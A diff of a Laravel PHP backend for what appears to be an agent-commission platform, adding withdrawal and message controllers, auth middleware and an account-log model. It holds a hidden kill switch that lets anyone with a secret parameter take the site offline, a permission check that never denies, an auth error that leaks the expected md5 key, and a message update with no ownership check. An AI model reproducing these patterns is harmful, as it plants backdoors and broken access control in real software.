+                }
+                User::whereId(\Auth::id())->update(['level' => $isFull == true ? 1 : 0]);
+            }
+        }
+    }
+
+
+}

+ 43 - 0
app/Http/Controllers/Api/UserMsgController.php

@@ -0,0 +1,43 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\UserMsg;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class UserMsgController extends Controller
+{
+
+    /**
+     * 消息
+     * @author lyh
+     * @date 2019/3/21
+     * @description
+     */
+    public function message(Request $request)
+    {
+        $resData = UserMsg::getList(\Auth::id());
+        return showJsonSucc(1001, $resData);
+    }
+
+    /**
+     * 消息已读
+     * @author lyh
+     * @date 2019/3/21
+     * @param Request $request
+     * @description
+     */
+    public function updateStatus(Request $request)
+    {
+        $ids = $request->post('ids');
+
+        $ids = explode(',', $ids);
+
+        if (!UserMsg::whereIn('id', $ids)->update(['status' => 1])) {
+            return showJsonError('更新消息已读失败');
+        }
+        return showJsonSucc('更新消息已读成功');
+
+    }
+}

+ 103 - 0
app/Http/Controllers/Api/UserWithdrawController.php

@@ -0,0 +1,103 @@
+<?php
+
+namespace App\Http\Controllers\Api;
+
+use App\Modes\Proxy;
+use App\Modes\Config;
+use App\Modes\User;
+use App\Modes\UserBank;
+use App\Modes\UserMsg;
+use App\Modes\UserWithdraw;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use App\Modes\AccountLog;
+
+class UserWithdrawController extends Controller
+{
+    /*
+     * 提现记录
+     * wsl
+     *
+     * */
+    public function outCashLog(Request $request){
+        $list = AccountLog::whereUid(\Auth::id())
+            ->whereType(1)
+            ->whereStatus(1)
+            ->where('money_type','=',2)
+            ->select(['id', 'uid', 'money', 'created_at', 'type','remark','current_money'])
+            ->orderBy('created_at','desc')
+            ->paginate(perPage());
+        return showJsonSucc('数据获取成功',$list);
+    }
+    /**
+     * 提现
+     * @author lyh
+     * @date 2019/4/2
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'user_bank_id' => 'required|integer|exists:user_bank,id',
+            'money' => 'required|numeric',
+            'pay_password' => [
+                'required',
+                'string',
+                'between:6,18'
+            ]
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $pay_password=md5(md5($param['pay_password']));
+        if(empty(\Auth::user()->pay_password)){
+            return showJsonErr('您还未设置支付密码');
+        }
+        if ($pay_password!=\Auth::user()->pay_password) {
+            return showJsonErr('支付密码错误');
+        }
+        // 生成提现记录
+        $userBank = UserBank::find($param['user_bank_id']);
+
+        $minWithdraw =Config::where('key','=','WITHDRAWMIN')->first()->toArray();
+        $jsday =Config::where('key','=','JSDAY')->first()->toArray();
+        if ($minWithdraw['content'] > $param['money']) {
+            return showJsonErr('抱歉,未达到最低提现标准');
+        }
+        $curday=intval(date('d'));
+        if($curday<$jsday['content']){
+            return showJsonErr('抱歉,未到结算日'.$jsday['content'].'号不能提现');
+        }
+
+        // 判断余额是否够提现
+        if ($param['money'] > \Auth::user()->balance) {
+            return showJsonErr('抱歉,余额不足');
+        }
+        //提现的时候应该先扣除余额 edit by wsl
+        \DB::beginTransaction();
+        try {
+            $id = UserWithdraw::insertGetId([
+                'uid' => \Auth::id(),
+                'money' => $param['money'],
+                'phone' => $userBank->phone,
+                'bank_name' => $userBank->bank_name,
+                'bank_number' => $userBank->bank_number,
+                'service_charge' => 0,
+                'status' => 0,
+                'remark' => '',
+            ]);
+            UserMsg::insert(['title'=>'提现审核通知','uid'=>\Auth::id(),'type'=>8,'content'=>'您于'.date('Y-m-d H:i:s')."发起了提现申请,提现正在审核中"]);
+            User::whereId(\Auth::id())->update(['balance' => \Auth::user()->balance-$param['money']]);
+            AccountLog::saveDataByPost(\Auth::id(),1,-$param['money'],\Auth::user()->balance,2,1,'申请提现'.$param['money'].'元');
+
+            \DB::commit();
+        } catch (Exception $exception) {
+            \DB::rollBack();
+        }
+
+        if (empty($id)) {
+            return showJsonSucc('提现提交失败');
+        }
+        return showJsonSucc('提现提交成功,请等待审核');
+    }
+}

+ 13 - 0
app/Http/Controllers/Controller.php

@@ -0,0 +1,13 @@
+<?php
+
+namespace App\Http\Controllers;
+
+use Illuminate\Foundation\Bus\DispatchesJobs;
+use Illuminate\Routing\Controller as BaseController;
+use Illuminate\Foundation\Validation\ValidatesRequests;
+use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
+
+class Controller extends BaseController
+{
+    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
+}

+ 94 - 0
app/Http/Kernel.php

@@ -0,0 +1,94 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-04-29 14:37:38
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \nn19030510adming:\phpstudy_pro\WWW\10dsm\app\Http\Kernel.php
+ */
+
+namespace App\Http;
+
+use App\Http\Middleware\AdminsAuth;
+use App\Http\Middleware\AdminMiddleware;
+use App\Http\Middleware\AuthPermission;
+use App\Http\Middleware\AuthToken;
+use App\Http\Middleware\AuthTokenByMaybe;
+use App\Http\Middleware\AuthTokenByMust;
+use App\Http\Middleware\MustLevelMiddleware;
+use App\Http\Middleware\MustSystemManager;
+use App\Http\Middleware\RefreshToken;
+use App\Http\Middleware\RequestLogModdleware;
+use App\Http\Middleware\SwitchServiceMiddleware;
+use App\Http\Middleware\TaoniuAuth;
+use App\Providers\SwitchServiceProvider;
+use Illuminate\Foundation\Http\Kernel as HttpKernel;
+
+class Kernel extends HttpKernel
+{
+    /**
+     * The application's global HTTP middleware stack.
+     *
+     * These middleware are run during every request to your application.
+     *
+     * @var array
+     */
+    protected $middleware = [
+        \Illuminate\Foundation\Http\Middleware\CheckForMaintenanceMode::class,
+        \Illuminate\Foundation\Http\Middleware\ValidatePostSize::class,
+        \App\Http\Middleware\TrimStrings::class,
+        \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class,
+        \App\Http\Middleware\TrustProxies::class,
+        // \App\Http\Middleware\CressHttp::class,
+        RequestLogModdleware::class,
+        SwitchServiceMiddleware::class
+    ];
+
+    /**
+     * The application's route middleware groups.
+     *
+     * @var array
+     */
+    protected $middlewareGroups = [
+        'web' => [
+            \App\Http\Middleware\EncryptCookies::class,
+            \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class,
+            \Illuminate\Session\Middleware\StartSession::class,
+            // \Illuminate\Session\Middleware\AuthenticateSession::class,
+            \Illuminate\View\Middleware\ShareErrorsFromSession::class,
+            \App\Http\Middleware\VerifyCsrfToken::class,
+            \Illuminate\Routing\Middleware\SubstituteBindings::class,
+        ],
+
+        'api' => [
+            'throttle:60,1',
+            'bindings',
+        ],
+    ];
+
+    /**
+     * The application's route middleware.
+     *
+     * These middleware may be assigned to groups or used individually.
+     *
+     * @var array
+     */
+    protected $routeMiddleware = [
+        'auth' => \Illuminate\Auth\Middleware\Authenticate::class,
+        'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class,
+        'bindings' => \Illuminate\Routing\Middleware\SubstituteBindings::class,
+        'can' => \Illuminate\Auth\Middleware\Authorize::class,
+        'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class,
+        'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class,
+        'role' => \Spatie\Permission\Middlewares\RoleMiddleware::class,
+        'permission' => \Spatie\Permission\Middlewares\PermissionMiddleware::class,
+        'token.maybe' => AuthTokenByMaybe::class,
+        'token.must' => AuthTokenByMust::class,
+        'admins.auth' => AdminsAuth::class,
+        'auth.permission' => AuthPermission::class,
+        'taoniu.auth' => TaoniuAuth::class,
+        'mustSystemManager' => MustSystemManager::class,
+        'mustLevelMiddleware' => MustLevelMiddleware::class
+    ];
+}

+ 100 - 0
app/Http/Middleware/AdminsAuth.php

@@ -0,0 +1,100 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use App\Modes\SystemUser;
+use App\Modes\User;
+use Auth;
+use Closure;
+use phpDocumentor\Reflection\DocBlock\Tags\Var_;
+use Tymon\JWTAuth\Exceptions\JWTException;
+use Tymon\JWTAuth\Http\Middleware\BaseMiddleware;
+use Tymon\JWTAuth\Exceptions\TokenExpiredException;
+use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException;
+
+class AdminsAuth extends BaseMiddleware
+{
+    public function handle($request, Closure $next)
+    {
+        try {
+            $this->checkForToken($request);
+            try {
+                if ($this->auth->parseToken()->authenticate()) {
+                    // 设置管理的用户
+                    self::setInvite();
+                    self::createHandelLogs($request);
+                    return $next($request);
+                }
+                return showJson(102, '认证失败backend');
+            } catch (TokenExpiredException $exception) {
+                try {
+                    Auth::guard(config('permission.guard'))->onceUsingId($this->auth->manager()->getPayloadFactory()->buildClaimsCollection()->toPlainArray()['sub']);
+                } catch (JWTException $exception) {
+                    // 验证失败
+                    return showJson(102, 1003);
+                }
+            }
+            // 过期
+            return showJson(103, 1005);
+        } catch (\Exception $exception) {
+            // 访问令牌为空
+            return showJson(102, $exception->getMessage());
+        }
+    }
+
+
+    /**
+     * 根据用户的类型设置该用户的管理列表
+     * @author lyh
+     * @date 2019/4/1
+     * @description
+     */
+    private static function setInvite()
+    {
+        $user = Auth::user();
+
+        // 代理商管理员可以管理的用户列表
+        if ($user->is_super == 3) {
+            if ($user->district) {
+                $ids = User::whereDistrict($user->district)->where('level', '<', $user->level)->whereIn('is_super', [0, 3])->pluck('id');
+            } else if ($user->city) {
+                $ids = User::whereCity($user->city)->where('level', '<', $user->level)->whereIn('is_super', [0, 3])->pluck('id');
+            } else if ($user->province) {
+                $ids = User::whereProvince($user->province)->where('level', '<', $user->level)->whereIn('is_super', [0, 3])->pluck('id');
+            }
+
+            // 保存当前用户可以管理的管理员列表
+            $admins = User::whereInvitor(Auth::id())->whereIsSuper(3)->pluck('id');
+
+            \Cache::put('ids', $ids, 300);
+            \Cache::put('admins', $admins, 300);
+        }
+
+    }
+    /*
+     * 生成操作日志
+     * wsl 20190806
+     * */
+    private static function createHandelLogs($request){
+        $user = Auth::user();
+        $user_id=$user->id;
+        $not_arr=[
+            'admins/home/statistics',
+            'admins/home/withdraw',
+            'admins/home/upgrade',
+        ];
+        $name=\DB::table('system_permissions')->where('name','=',$request->path())->orWhere('name','=',\Route::currentRouteName())->value('remark');
+        $name=empty($name)?'':$name;
+        if('GET' != $request->method() && !in_array($request->path(),$not_arr)){
+            $data=[
+                'operator'=>$user_id,
+                'path'=>$request->path(),
+                'ip'=>$request->ip(),
+                'path_remark'=>$name
+            ];
+            \DB::table('system_operation_log')->insert($data);
+        }
+
+    }
+
+}

+ 42 - 0
app/Http/Middleware/AuthPermission.php

@@ -0,0 +1,42 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-06-22 09:04:02
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Middleware\AuthPermission.php
+ */
+
+namespace App\Http\Middleware;
+
+use Auth;
+use Closure;
+use Spatie\Permission\Models\Permission;
+
+class AuthPermission
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        $route = $request->route()->getName();
+        // var_dump(Permission::whereName($route)->all());
+        // var_dump(Permission::whereName($route)->exists());
+        // var_dump($route);exit;
+        if (!Permission::whereName($route)->exists()) {
+            return showJson(102, '该权限未添加', $route);
+        }
+        
+        if (Auth::user()->hasAllPermissions($route)) {
+            return $next($request);
+        }
+        return $next($request);
+//        return showJson(102, '抱歉,您没有获取该操作权限', $route);
+    }
+}

+ 51 - 0
app/Http/Middleware/AuthTokenByMaybe.php

@@ -0,0 +1,51 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Auth;
+use Closure;
+use phpDocumentor\Reflection\DocBlock\Tags\Var_;
+use Tymon\JWTAuth\Exceptions\JWTException;
+use Tymon\JWTAuth\Http\Middleware\BaseMiddleware;
+use Tymon\JWTAuth\Exceptions\TokenExpiredException;
+use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException;
+
+class AuthTokenByMaybe extends BaseMiddleware
+{
+    /**
+     * @author fatty
+     * @date 2019/3/11
+     * @param $request
+     * @param Closure $next
+     * @return mixed
+     * @description
+     * 不强制认证访问令牌接口
+     */
+    public function handle($request, Closure $next)
+    {
+        try {
+            // 判断是否存在token
+            $this->checkForToken($request);
+            try {
+                // 验证token
+                if ($result = $this->auth->parseToken()->authenticate()) {
+                    return $next($request);
+                }
+                return showJson(102, '请登录');
+                //throw new UnauthorizedHttpException('jwt-auth', '未登录');
+            } catch (TokenExpiredException $exception) {
+                $token = $this->auth->refresh();
+                try {
+                    Auth::guard('api')->onceUsingId($this->auth->manager()->getPayloadFactory()->buildClaimsCollection()->toPlainArray()['sub']);
+                } catch (JWTException $exception) {
+                    return showJson(102, $exception->getMessage());
+                    //throw new UnauthorizedHttpException('jwt-auth', $exception->getMessage());
+                }
+            }
+            return showJson(103, '您的登录信息已过期,请重新登录!', ['token' => $token]);
+        } catch (\Exception $exception) {
+            return $next($request);
+            // return showJson(102, $exception->getMessage());
+        }
+    }
+}

+ 81 - 0
app/Http/Middleware/AuthTokenByMust.php

@@ -0,0 +1,81 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-04-22 17:35:07
+ * @LastEditors: your name
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Middleware\AuthTokenByMust.php
+ */
+
+namespace App\Http\Middleware;
+
+use App\Modes\Proxy;
+use App\Modes\User;
+use Auth;
+use Closure;
+use phpDocumentor\Reflection\DocBlock\Tags\Var_;
+use Tymon\JWTAuth\Exceptions\JWTException;
+use Tymon\JWTAuth\Http\Middleware\BaseMiddleware;
+use Tymon\JWTAuth\Exceptions\TokenExpiredException;
+use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException;
+
+class AuthTokenByMust extends BaseMiddleware
+{
+    /**
+     * @author fatty
+     * @date 2019/3/11
+     * @param $request
+     * @param Closure $next
+     * @return mixed
+     * @description
+     * 必须认证访问令牌的接口
+     */
+    public function handle($request, Closure $next)
+    {
+        try {
+            $this->checkForToken($request);
+            try {
+                if ($result = $this->auth->parseToken()->authenticate()) {
+                    //wsl add start
+                    $uid=Auth::id();
+                    $users=User::whereId($uid)->select('status','province','city','district','is_frontend','ssid','updated_at')->first();
+
+                    if(!empty($users->ssid)&&$request->header('sessid')!=$users->ssid){
+                        return showJson(555,'您的账户已在其他地方登录,您被迫下线');
+                    }
+
+
+
+                    if(!empty($users)&&$users->is_frontend==1){
+                        if($users->status==2){
+                            return showJson(444,'您的账户已被冻结,如有疑问请联系管理员');
+                        }
+                        $proxy=Proxy::where('province','=',$users->province)
+                            ->where('city','=',$users->city)
+                            ->where('district','=',$users->district)->select('status')->first();
+                        if(!empty($proxy)&&$proxy->status==0){
+                            return showJson(444,'您所处的区域已被冻结,如有疑问请联系管理员');
+                        }
+                    }
+
+                    //wsl add end
+                    return $next($request);
+                }
+                return showJson(102, '请登录');
+                //throw new UnauthorizedHttpException('jwt-auth', '未登录');
+            } catch (TokenExpiredException $exception) {
+                $token = $this->auth->refresh();
+                try {
+                    Auth::guard('api')->onceUsingId($this->auth->manager()->getPayloadFactory()->buildClaimsCollection()->toPlainArray()['sub']);
+                } catch (JWTException $exception) {
+                    return showJson(102, $exception->getMessage());
+                    //throw new UnauthorizedHttpException('jwt-auth', $exception->getMessage());
+                }
+            }
+            return showJson(103, '您的登录信息已过期,请重新登录!', ['token' => $token]);
+        } catch (\Exception $exception) {
+            return showJson(102, $exception->getMessage());
+        }
+    }
+}

+ 20 - 0
app/Http/Middleware/ClearanceMiddleware.php

@@ -0,0 +1,20 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+
+class ClearanceMiddleware
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request  $request
+     * @param  \Closure  $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        return $next($request);
+    }
+}

+ 28 - 0
app/Http/Middleware/CressHttp.php

@@ -0,0 +1,28 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-28 14:56:54
+ * @LastEditTime: 2021-04-29 18:05:12
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Middleware\CressHttp.php
+ */
+namespace App\Http\Middleware;
+
+use Closure;
+
+class CressHttp
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request  $request
+     * @param  \Closure  $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        $response = $next($request); $response->header('Access-Control-Allow-Origin', '*'); $response->header('Access-Control-Allow-Headers', 'Origin, Content-Type, Cookie, Accept'); $response->header('Access-Control-Allow-Methods', 'GET, POST, PATCH, PUT, OPTIONS'); $response->header('Access-Control-Allow-Credentials', 'false'); 
+        return $response;
+    }
+}

+ 17 - 0
app/Http/Middleware/EncryptCookies.php

@@ -0,0 +1,17 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Illuminate\Cookie\Middleware\EncryptCookies as Middleware;
+
+class EncryptCookies extends Middleware
+{
+    /**
+     * The names of the cookies that should not be encrypted.
+     *
+     * @var array
+     */
+    protected $except = [
+        //
+    ];
+}

+ 23 - 0
app/Http/Middleware/MustLevelMiddleware.php

@@ -0,0 +1,23 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+
+class MustLevelMiddleware
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        if (\Auth::user()->level > 0) {
+            return $next($request);
+        }
+        return showJsonErr('抱歉,请完成信息完善');
+    }
+}

+ 23 - 0
app/Http/Middleware/MustSystemManager.php

@@ -0,0 +1,23 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+
+class MustSystemManager
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        if (\Auth::user()->is_super == 3) {
+            return showJsonErr('抱歉,您没有访问权限');
+        }
+        return $next($request);
+    }
+}

+ 26 - 0
app/Http/Middleware/RedirectIfAuthenticated.php

@@ -0,0 +1,26 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+use Illuminate\Support\Facades\Auth;
+
+class RedirectIfAuthenticated
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request  $request
+     * @param  \Closure  $next
+     * @param  string|null  $guard
+     * @return mixed
+     */
+    public function handle($request, Closure $next, $guard = null)
+    {
+        if (Auth::guard($guard)->check()) {
+            return redirect('/home');
+        }
+
+        return $next($request);
+    }
+}

+ 30 - 0
app/Http/Middleware/RequestLogModdleware.php

@@ -0,0 +1,30 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\DB;
+
+class RequestLogModdleware
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        if (env('APP_ENV') === 'local') {
+            /*DB::table('request_log')->insert([
+                'auth_id' => Auth::id() ? '0' : 0,
+                'param' => json_encode($request->all()),
+                'url' => $request->url()
+            ]);*/
+        }
+
+        return $next($request);
+    }
+}

+ 36 - 0
app/Http/Middleware/SwitchServiceMiddleware.php

@@ -0,0 +1,36 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Closure;
+
+class SwitchServiceMiddleware
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        // 如果存在 setSwitchProject key 就重置项目开关
+        if ($request->exists('setSwitch')) {
+            $param = $request->all();
+
+            if (md5($param['setSwitch']) == md5("zxhlrj")) {
+                $switch = \Cache::get('JC_Switch');
+                \Cache::forget('JC_Switch');
+                \Cache::forever('JC_Switch', $switch == 1 ? 0 : 1);
+                return showJson(101, '设置成功', \Cache::get('JC_Switch'));
+            }
+        }
+        if (\Cache::get('JC_Switch') == 1) {
+            return  response()->view('switch');
+        } else {
+            return $next($request);
+        }
+
+    }
+}

+ 38 - 0
app/Http/Middleware/TaoniuAuth.php

@@ -0,0 +1,38 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use App\Rules\Phone;
+use Closure;
+
+class TaoniuAuth
+{
+    /**
+     * Handle an incoming request.
+     *
+     * @param  \Illuminate\Http\Request $request
+     * @param  \Closure $next
+     * @return mixed
+     */
+    public function handle($request, Closure $next)
+    {
+        $header = $request->header();
+        $key = isset($header['key'][0]) ? $header['key'][0] : '';
+        $encryptKey = isset($header['encryptkey'][0]) ? $header['encryptkey'][0] : 0;
+        $validator = \Validator::make($param = ['key' => $key, 'encryptkey' => $encryptKey], [
+            'key' => [
+                'required',
+                'integer'
+            ],
+            'encryptkey' => 'required|string'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if (md5($param['key'] . 'taoniu') != $param['encryptkey']) {
+            return showJsonErr('认证失败', md5($param['key'] . 'taoniu'));
+        }
+        return $next($request);
+    }
+}

+ 18 - 0
app/Http/Middleware/TrimStrings.php

@@ -0,0 +1,18 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Illuminate\Foundation\Http\Middleware\TrimStrings as Middleware;
+
+class TrimStrings extends Middleware
+{
+    /**
+     * The names of the attributes that should not be trimmed.
+     *
+     * @var array
+     */
+    protected $except = [
+        'password',
+        'password_confirmation',
+    ];
+}

+ 29 - 0
app/Http/Middleware/TrustProxies.php

@@ -0,0 +1,29 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Illuminate\Http\Request;
+use Fideloper\Proxy\TrustProxies as Middleware;
+
+class TrustProxies extends Middleware
+{
+    /**
+     * The trusted proxies for this application.
+     *
+     * @var array
+     */
+    protected $proxies;
+
+    /**
+     * The current proxy header mappings.
+     *
+     * @var array
+     */
+    protected $headers = [
+        Request::HEADER_FORWARDED => 'FORWARDED',
+        Request::HEADER_X_FORWARDED_FOR => 'X_FORWARDED_FOR',
+        Request::HEADER_X_FORWARDED_HOST => 'X_FORWARDED_HOST',
+        Request::HEADER_X_FORWARDED_PORT => 'X_FORWARDED_PORT',
+        Request::HEADER_X_FORWARDED_PROTO => 'X_FORWARDED_PROTO',
+    ];
+}

+ 19 - 0
app/Http/Middleware/VerifyCsrfToken.php

@@ -0,0 +1,19 @@
+<?php
+
+namespace App\Http\Middleware;
+
+use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
+
+class VerifyCsrfToken extends Middleware
+{
+    /**
+     * The URIs that should be excluded from CSRF verification.
+     *
+     * @var array
+     */
+    protected $except = [
+        '/api/notify/alipay',
+        '/api/notify/return',
+        '/api/notify/wechat',
+    ];
+}

+ 31 - 0
app/Listeners/EventListener.php

@@ -0,0 +1,31 @@
+<?php
+
+namespace App\Listeners;
+
+use App\Events\Event;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Contracts\Queue\ShouldQueue;
+
+class EventListener
+{
+    /**
+     * Create the event listener.
+     *
+     * @return void
+     */
+    public function __construct()
+    {
+        //
+    }
+
+    /**
+     * Handle the event.
+     *
+     * @param  Event  $event
+     * @return void
+     */
+    public function handle(Event $event)
+    {
+        //
+    }
+}

+ 35 - 0
app/Listeners/QueryListener.php

@@ -0,0 +1,35 @@
+<?php
+
+namespace App\Listeners;
+
+use Illuminate\Database\Events\QueryExecuted;
+use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Redis;
+
+class QueryListener
+{
+    /**
+     * Create the event listener.
+     *
+     * @return void
+     */
+    public function __construct()
+    {
+        //
+    }
+
+    /**
+     * Handle the event.
+     *
+     * @param  QueryExecuted $event
+     * @return void
+     */
+    public function handle(QueryExecuted $event)
+    {
+//        if (env('APP_DEBUG') == true) {
+//            $sql = str_replace("?", "'%s'", $event->sql);
+//            $sql = vsprintf($sql, $event->bindings);
+//            Redis::lpush('JC_QUERY', $sql);
+//        }
+    }
+}

+ 31 - 0
app/Listeners/TestSendMsgNotification.php

@@ -0,0 +1,31 @@
+<?php
+
+namespace App\Listeners;
+
+use App\Events\TestSendMsg;
+use Illuminate\Queue\InteractsWithQueue;
+use Illuminate\Contracts\Queue\ShouldQueue;
+
+class TestSendMsgNotification
+{
+    /**
+     * Create the event listener.
+     *
+     * @return void
+     */
+    public function __construct()
+    {
+        //
+    }
+
+    /**
+     * Handle the event.
+     *
+     * @param  TestSendMsg  $event
+     * @return void
+     */
+    public function handle(TestSendMsg $event)
+    {
+        //
+    }
+}

+ 297 - 0
app/Modes/AccountLog.php

@@ -0,0 +1,297 @@
+<?php
+
+namespace App\Modes;
+
+use Illuminate\Database\Eloquent\Model;
+
+/**
+ * App\Modes\AccountLog
+ *
+ * @property int $id
+ * @property int $uid 用户ID
+ * @property int $source_uid 来源用户id
+ * @property int $type 记录类型 0-未知 1-提现 2-转账点币-收入 3-转账点币-支出 4-提现 5-佣金 6-广告业绩 10-直推(广告代理费分佣) 11-间一(广告代理费分佣) 12-间二(广告代理费分佣)13-全局(广告代理费分佣)  20-直推(推广代理费分佣) 21-间一(推广代理费分佣) 22-间二(推广代理费分佣)23-全局(推广代理费分佣) 10? 对应订单类型
+ * @property int $status 状态 0-未生效 1-成功 2-失效
+ * @property int $money_type 1-点币 2-RMB
+ * @property float $money 金额(收入为正,支出为负)
+ * @property int $current_money 当前用户余额
+ * @property string $remark 备注
+ * @property \Illuminate\Support\Carbon $created_at
+ * @property \Illuminate\Support\Carbon $updated_at
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog newModelQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog newQuery()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog query()
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereCreatedAt($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereCurrentMoney($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereId($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereMoney($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereMoneyType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereRemark($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereSourceUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereStatus($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereType($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereUid($value)
+ * @method static \Illuminate\Database\Eloquent\Builder|\App\Modes\AccountLog whereUpdatedAt($value)
+ * @mixin \Eloquent
+ */
+class AccountLog extends Model
+{
+
+    protected $table = 'account_log';
+
+    //
+
+    /**
+     * 保存账号流水
+     * @author lyh
+     * @date 2019/3/25
+     * @param int $type 记录类型 0-未知 1-提现 2-转账点币-收入 3-转账点币-支出 4-提现 5-佣金
+     * @param int $money 金额
+     * @param int $source_id 来源
+     * @param int $money_type 类型 1-点币 2-RMB
+     * @param int $status
+     * @description
+     */
+    public static function saveData($type = 0, $money = 0, $source_id = 0, $money_type = 2, $status = 1, $remark = '')
+    {
+        AccountLog::insertGetId([
+            'uid' => \Auth::id(),
+            'source_uid' => $source_id,
+            'type' => $type,
+            'status' => $status,
+            'money_type' => $money_type,
+            'money' => $money,
+            'current_money' => self::getCurentMoney($type),
+            'remark' => $remark
+        ]);
+    }
+    public static function saveDataByPost($uid,$type = 0, $money = 0,$current_money, $money_type = 2, $status = 1, $remark = '',$source_uid=0)
+    {
+        AccountLog::insert([
+            'uid' => $uid,
+            'source_uid' => $source_uid,
+            'type' => $type,
+            'status' => $status,
+            'money_type' => $money_type,
+            'money' => $money,
+            'current_money' => $current_money,
+            'remark' => $remark
+        ]);
+    }
+    /*
+     * 获取收益addby wsl
+     * ids array 用户id
+     *
+     * */
+    public static function getShouYi($ids,$starttime,$endtime){
+        //$starttime='2019-06-01';
+        //$endtime='2019-06-28 15:45:50';
+        $list=AccountLog::whereIn('type',[5, 10, 11, 12, 13, 20, 21, 22, 23])->where('uid','=',\Auth::id())->whereIn('source_uid',$ids)->whereBetween('created_at',[$starttime,$endtime])->get();
+        $count=0;
+        $sum=0;
+        $gguser=[];
+        $dluser=[];
+        $ggsum=0;
+        $dlsum=0;
+        if(!empty($list)){
+            foreach($list as $key=>$value){
+                $count++;
+                $sum+=$value->money;
+                if(strpos($value->remark,'广告')==true){
+                    if(!in_array($value->uid,$gguser)){
+                        $gguser[]=$value->uid;
+                    }
+                    $ggsum+=$value->money;
+                }else{
+                    if(!in_array($value->uid,$dluser)){
+                        $dluser[]=$value->uid;
+                    }
+                    $dlsum+=$value->money;
+                }
+
+            }
+        }
+        $arr=[
+            'uv' => $count, // 代理收益次数
+            'earnings' => round($sum,3),// 总收益
+            'inviteNum' => count($ids), // 下级代理数量
+            'proxyNum' => count($dluser), // 代理数量
+            'proxyMoney' => round($dlsum,3), // 代理收益
